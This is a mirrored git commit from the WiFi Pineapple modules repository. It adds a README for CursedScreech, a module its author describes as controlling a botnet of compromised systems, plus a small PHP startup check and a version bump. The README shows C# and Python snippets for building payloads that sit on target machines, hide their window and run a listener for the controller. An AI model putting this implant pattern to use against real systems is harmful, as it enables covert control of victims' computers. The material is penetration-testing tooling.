mirror of
https://github.com/hak5/nano-tetra-modules.git
synced 2025-10-29 16:58:09 +00:00
Portal Auth and Cursed Screech Updates
This commit is contained in:
66
CursedScreech/README.md
Normal file
66
CursedScreech/README.md
Normal file
@@ -0,0 +1,66 @@
|
||||
# CursedScreech
|
||||
|
||||
A mass communicator module for the WiFi Pineapple that utilizes TLS to control a botnet of compromised systems. Included is a C# API and Python API (with documentation) to write payloads that can communicate with CursedScreech and PortalAuth.
|
||||
|
||||
|
||||
# APIs
|
||||
I recommend using C# over Python to build your payload. Both APIs are really simple to use but using C# will allow you to create a self-contained executable along with required keys/certificates. Writing your payload in Python will require you to freeze your code and it can be difficult, if not impossible, to include all required files in a single executable. If you can't make a single executable you will have to find a way to move the whole dist directory to the target machine.
|
||||
|
||||
### C# API Example
|
||||
```
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
using PineappleModules;
|
||||
|
||||
namespace Payload
|
||||
{
|
||||
public partial class Form1 : Form {
|
||||
|
||||
PA_Authorization pauth = new PA_Authorization();
|
||||
|
||||
public Form1() {
|
||||
InitializeComponent();
|
||||
|
||||
CursedScreech cs = new CursedScreech();
|
||||
cs.startMulticaster("231.253.78.29", 19578);
|
||||
cs.setRemoteCertificateSerial("EF-BE-AD-DE");
|
||||
cs.setRemoteCertificateHash("1234567890ABCDEF");
|
||||
cs.startSecureServerThread("Payload.Payload.pfx", "#$My$ecuR3P4ssw*rd&");
|
||||
}
|
||||
private void Form1_FormClosing(object sender, FormClosingEventArgs e) {
|
||||
e.Cancel = true;
|
||||
this.Hide();
|
||||
}
|
||||
private void accessKeyButton_Click(object sender, EventArgs e) {
|
||||
|
||||
// Request an access key from the Pineapple
|
||||
string key = pauth.getAccessKey();
|
||||
|
||||
// Check if a key was returned
|
||||
string msg;
|
||||
if (key.Length > 0) {
|
||||
msg = "Your access key is unique to you so DO NOT give it away!\n\nAccess Key: " + key;
|
||||
}
|
||||
else {
|
||||
msg = "Failed to retrieve an access key from the server. Please try again later.";
|
||||
}
|
||||
|
||||
// Display message to the user
|
||||
MessageBox.Show(msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
|
||||
### Python API Example
|
||||
```
|
||||
from PineappleModules import CursedScreech
|
||||
|
||||
cs = CursedScreech("Network Client")
|
||||
cs.startMulticaster("231.253.78.29", 19578)
|
||||
cs.setRemoteCertificateSerial("ABCDEF1234567890")
|
||||
cs.startSecureServerThread("payload.pem", "payload.cer", "cursedscreech.cer")
|
||||
```
|
||||
@@ -165,6 +165,14 @@ class CursedScreech extends Module {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
if (!file_exists(__TARGETLOGS__)) {
|
||||
if (!mkdir(__TARGETLOGS__, 0755, true)) {
|
||||
$this->logError("Failed init", "Failed to initialize because the targetlogs directory at '" . __TARGETLOGS__ . "' could not be created.");
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================ */
|
||||
|
||||
4
CursedScreech/includes/changelog/Version 1.5
Normal file
4
CursedScreech/includes/changelog/Version 1.5
Normal file
@@ -0,0 +1,4 @@
|
||||
July 15, 2018
|
||||
<br /><br />
|
||||
- Added check for targetlogs directory at startup<br />
|
||||
|
||||
@@ -6,5 +6,5 @@
|
||||
"tetra"
|
||||
],
|
||||
"title": "CursedScreech",
|
||||
"version": "1.4"
|
||||
"version": "1.5"
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user